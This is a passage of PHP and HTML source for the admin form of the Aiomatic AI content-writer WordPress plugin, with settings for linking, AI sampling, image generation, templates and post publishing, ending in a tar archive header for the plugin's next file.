'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai4 cr_width_full" id="link_type4" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links4" placeholder="3-5" class="valuesai4 cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list4" placeholder="URL list (one per line)" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow4" name="link_nofollow" class="valuesai4"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types4" placeholder="post" class="valuesai4 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens4" value="" placeholder="2048" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens4" value="" placeholder="1000" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_continue_tokens" id="max_continue_tokens4" value="" placeholder="500" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature4" value="" placeholder="1" class="valuesai4 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p4" value="" placeholder="1" class="valuesai4 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty4" value="" placeholder="0" class="valuesai4 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty4" value="" placeholder="0" class="valuesai4 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition4" name="search_query_repetition" class="valuesai4 cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images4" onchange="hideImage('4');" name="enable_ai_images" class="valuesai4 cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg4 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image4" placeholder="Please insert a command for the AI image generator" class="valuesai4 cr_width_full">A high detail image with no text of: "%%post_title%%"</textarea> </td> </tr> <tr class="hideDalle4 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model4" name="image_model" class="valuesai4 cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg4 cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model4" name="image_size" class="valuesai4 cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend4" placeholder="HTML content to prepend to the AI generated content" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append4" placeholder="HTML content to append to the AI generated content" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes4" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title4" name="strip_title" class="valuesai4> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin4" name="skip_spin" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate4" name="skip_translate" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex" id="strip_by_regex4" placeholder="regex expression" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex" id="replace_regex4" placeholder="regex replacement" class="valuesai4 cr_width_full"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok4" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </div> </div> </div> </div> </div> <div id="hrdiv"> <div id="hrwrap"> <hr/> <h2 class="aiomatic-middle aiomatic-big"><?php echo esc_html__("Generated Results", 'aiomatic-automatic-ai-content-writer'); ?></h2> </div> </div><!-- /hrdiv --> <div id="titlediv"> <div id="titlewrap"> <h2 class="top_heading"><?php echo esc_html__("Post Title", 'aiomatic-automatic-ai-content-writer'); ?></h2> <input type="text" name="post_title" size="30" value="" id="title_advanced" class="coderevolution_gutenberg_input aiomatic-big-font" onchange="aiomatic_content_empty('post_content_advanced');" spellcheck="true" autocomplete="off" placeholder="Post title"> </div> </div><!-- /titlediv --> <hr/> <h2 class="top_heading"><?php echo esc_html__("Post Content", 'aiomatic-automatic-ai-content-writer'); ?></h2> <?php $settings = array( 'textarea_name' => 'post_content_advanced', 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4' ); wp_editor( '', 'post_content_advanced', $settings ); wp_nonce_field( 'create_post', 'create_post_nonce' ); ?> <div id="publishdiv"> <div id="publishwrap"> <hr/> <div id="major-publishing-actions"> <div class="coderevolution_gutenberg_input" id="publishing-action"> <span class="spinner"></span> <input type="submit" name="publish" id="post_publish_advanced" class="coderevolution_gutenberg_input button button-primary button-large" value="Create Post" disabled> </div> <div class="clear"></div> </div> </div> <div class="inside"> <div id="publish-slug-box" class="hide-if-no-js"> </div> </div></div><!-- /publishdiv --> <br/><br/> <div id="templdiv"> <div id="templwrap"> <hr/> <h2 class="top_heading"><div class="tool" data-tip="Save or load your templates for content creation. These templates will be stored and accessible only from your user account."><?php echo esc_html__("Advanced Content Templates", 'aiomatic-automatic-ai-content-writer'); ?> ⍰</div></h2> <div class="aiomatic-minor-publishing-actions"> <input type="button" name="save_template_advanced" id="save_template_advanced" onclick="aiomatic_save_template_advanced()" class="button button-primary button-large" value="Save New Template">  <input type="button" name="load_template_advanced" id="load_template_advanced" onclick="aiomatic_load_template_advanced()" class="button button-primary button-large" value="Load Selected Template">  <input type="button" name="delete_template_advanced" id="delete_template_advanced" onclick="aiomatic_delete_template_advanced()" class="button button-primary button-large" value="Delete Selected Template">  <input type="button" name="import_template_advanced" id="import_template_advanced" onclick="aiomatic_import_template_advanced()" class="button button-primary button-large" value="Import Templates From File">  <input type="button" name="export_template_advanced" id="export_template_advanced" onclick="aiomatic_export_template_advanced()" class="button button-primary button-large" value="Export Templates To File">  <input type="file" id="import_template_file_advanced" name="import_template_file_advanced" class="cr_none" accept=".json" /> </div> <select class="coderevolution_gutenberg_input" id="template_manager_advanced"> <option value="Default Template"><?php echo esc_html__("Default Template", 'aiomatic-automatic-ai-content-writer');?></option> <?php $user_id = get_current_user_id(); if($user_id == 0) { aiomatic_log_to_file('No user logged in, cannot find templates!'); } else { $key = 'aiomatic_templates_advanced'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(is_array($aiomatic_templates)) { foreach($aiomatic_templates as $tn => $template_name) { echo '<option value="' . $tn . '">' . $tn . '</option>'; } } } ?> </select> </div> </div><!-- /templdiv --> <div id="tutodiv"> <div id="tutowrap"> <hr/> <h2 class="top_heading"><div><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer'); ?></div></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/rlDtQ8qgGYg" frameborder="0" allowfullscreen></iframe></div></p> </div> </div><!-- /tutodiv --> </div><!-- /post-body-content --> <div id="postbox-container-1" class="postbox-container"> <div id="side-sortables" class="meta-box-sortables ui-sortable"> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><div class="tool" data-tip="Set the general parameters for your generated content."><?php echo esc_html__("Post Options", 'aiomatic-automatic-ai-content-writer');?> ⍰ </div></h2> </div><div class="inside"> <div class="submitbox" id="otherpost"> <div id="other-publishing"> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Set the post type."><?php echo esc_html__("Post Type", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="submit_type_advanced" name="submit_type_advanced" class="coderevolution_gutenberg_input"> <?php foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; echo '>' . esc_html($post_type) . '</option>'; } ?> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post status."><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="submit_status_advanced" name="submit_status_advanced" class="coderevolution_gutenberg_input"> <option value="draft" selected><?php echo esc_html__("Draft", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pending"><?php echo esc_html__("Pending", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish"><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Stick this post to the front page."><?php echo esc_html__("Sticky", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="post_sticky_advanced" name="post_sticky_advanced" class="coderevolution_gutenberg_input"> <option value="no"><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> <option value="yes"><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post author."><?php echo esc_html__("Author", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $curruser = get_current_user_id(); wp_dropdown_users(['class' => 'coderevolution_gutenberg_input', 'id' => 'post_author_advanced', 'name' => 'post_author_advanced', 'selected' => $curruser, 'role__in' => array('administrator', 'editor', 'author', 'contributor')]); ?> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post publish date."><?php echo esc_html__("Publish Date", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $date1x = new DateTime('now', aiomatic_get_blog_timezone()); ?> <input type="datetime-local" id="post_date_advanced" name="post_date_advanced" value="<?php echo $date1x->format('Y-m-d H:i:s'); ?>" class="coderevolution_gutenberg_input" /> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post categories."><?php echo esc_html__("Post Categories", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $default_category = get_option('default_category'); $args = array( 'orderby' => 'name', 'hide_empty' => 0, 'echo' => 0, 'class' => 'coderevolution_gutenberg_input', 'id' => 'post_category_advanced', 'name' => 'post_category_advanced', 'selected' => $default_category ); $select_cats = wp_dropdown_categories($args); $select_cats = str_replace( "name='post_category_advanced'", "name='post_category_advanced[]' multiple='multiple'", $select_cats ); $select_cats = str_replace( 'name="post_category_advanced"', 'name="post_category_advanced[]" multiple="multiple"', $select_cats ); echo $select_cats; ?> <div class="clear"></div><div class="cr-align-left"> <div class="tool" data-tip="Set the post tags."><?php echo esc_html__("Post Tags", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input id="post_tags_advanced" name="post_tags_advanced" type="text" list="post_tags_list2" class="coderevolution_gutenberg_input" value="" placeholder="Tag list"/> <datalist id="post_tags_list2"> <?php $xtags = get_tags(array( 'hide_empty' => false )); if(!is_wp_error($xtags)) { foreach ($xtags as $tag) { echo '<option>' . $tag->name . '</option>'; } } ?> </datalist> <small class="cr-align-left coderevolution_gutenberg_input"><?php echo esc_html__("Separate tags with commas", 'aiomatic-automatic-ai-content-writer');?></small> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><?php echo esc_html__("Featured Image", 'aiomatic-automatic-ai-content-writer');?></h2> </div><div class="inside"> <div class="submitbox" id="submitpost"> <div id="minor-publishing"> <div class="aiomatic-minor-publishing-actions"> <?php $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-advanced"/></div>'; echo $image; ?> <input type="hidden" name="aiomatic_image_id_advanced" id="aiomatic_image_id_advanced" value="" class="regular-text" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an image', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_advanced"/> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> </div></div> </div><!-- /post-body --> <br class="clear"> </form><!-- /poststuff --> </div> </div> <?php } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/Embeddings.php����������������������������������������������������������������������������������0000644�����������������00000154552�14757771437�0010151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); use AiomaticOpenAI\OpenAi\OpenAi; 